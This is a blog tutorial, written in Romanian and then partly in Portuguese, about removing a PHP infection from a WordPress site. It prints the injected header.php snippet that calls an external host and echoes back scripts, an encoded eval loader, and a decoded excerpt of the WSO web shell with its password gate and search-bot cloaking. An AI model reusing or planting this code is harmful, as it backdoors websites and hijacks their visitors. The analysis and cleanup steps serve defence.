Remover vírus WordPress PHP
Acest tutorial prezintă un caz particular în care un blog WordPress a fost virusat. Remove WordPress PHP Virus.
contente
Zilele trecute am observat un cod suspect ce pare a fi un virus PHP pentru WordPress. Următorul cod PHP era prezent în header.php, înaintea liniei </head>.
<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>
Acesta este un cod PHP care, după cum arată, încearcă să recupereze conținutul unei resurse de pe un server extern, dar partea care se referă la adresa URL este incompletă.
Mecanismul de funcționare este ceva mai complex și face acest WordPress PHP Virus invizibil pentru vizitatorii site-urilor afectate. În schimb, acesta vizează motoarele de căutare (Google) și duce implicit la scăderea semnificativă a numărului de vizitatori pe website-urile afectate.
Detalii ale malware WordPress PHP Virus
1. Codul de mai sus este prezent în header.php.
2. Pe server a apărut un fișier wp-log.php în folderul wp-includes.
3. wp-log.php conține un cod criptat, dar care este relativ ușor de decriptat.
<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>
Decriptare cod malware din wp-log.php :
<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("
<pre align=center-->
<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>
Acesta pare a fi un script PHP malware care conține cod pentru a gestiona autentificarea și acțiuni asupra fișierelor și directoarelor pe un server. Se poate observa foarte ușor că acest script conține variabile precum $auth_pass (parola de autentificare), $default_action (acțiunea implicită), $default_use_ajax (folosirea implicită a Ajax) și $default_charset (setarea implicită a caracterelor).
În mod evident, acest script are o secțiune care verifică agenții de utilizatori HTTP pentru a bloca accesul anumitor roboți web, cum ar fi motoarele de căutare. De asemenea, are și o secțiune care verifică modul de securitate PHP și setează anumite directoare de lucru.
4. Dacă wp-log.php este accesat în browser, apare o pagină web cu un câmp de autenticação. La prima vedere pare a fi un file manager prin care pot fi urcate ușor noi fișiere pe serverul țintă.
Cum devirusezi un website WordPress?
Întotdeauna, procesul de devirusare manuală presupune să descoperi și să înțelegi în primul rând, care a fost vulnerabilitatea.
1. Genereaza un un backup pentru întregul website. Acesta trebuie să includă atât fișierele cât și baza de date.
2. Determină cu aproximație de cât timp a apărut virusul și caută pe serverul web fișierele modificate sau noi create în intervalul de timp aproximat.
De exemplu, dacă vrei să vezi fișierele .php create sau modificate în ultima săptămănă, execută în server comanda:
find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"
Este o metodă simplă prin care poți să decoperi fișierele WordPress virusate și pe cele care conțin codul malware.
3. Verifique o arquivo .htaccess de directivas suspeitas. Permissões ou linhas de execução de script.
4. Verifique o banco de dados. É muito possível que alguns posts e páginas do WordPress tenham sido editados com malware ou novos estejam sendo adicionados usuários com função de administrador.
5. Verifique as permissões de gravação de pastas e arquivos. chmod e chown.
As permissões recomendadas são: 644 para arquivos e 755 para diretórios.
find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;
6. Atualize tudo WordPress Plugins / WordPress Themes.
Relacionado: Corrigir redirecionar o WordPress Hack 2023 (redirecionamento do vírus)
Estes são métodos “básico” através do qual você pode desvírus de um site/blog WordPress. Se você tiver problemas e precisar de ajuda, a seção de comentários estará aberta.
Remover vírus WordPress PHP
O que há de novo
Sobre Stealth
Apaixonado por tecnologia, escrevo com prazer no StealthSettings.com desde 2006. Tenho uma vasta experiência em sistemas operativos: macOS, Windows e Linux, bem como em linguagens de programação e plataformas de blogging (WordPress) e para lojas online (WooCommerce, Magento, PrestaShop).
Veja todos os posts de StealthVocê também pode estar interessado em...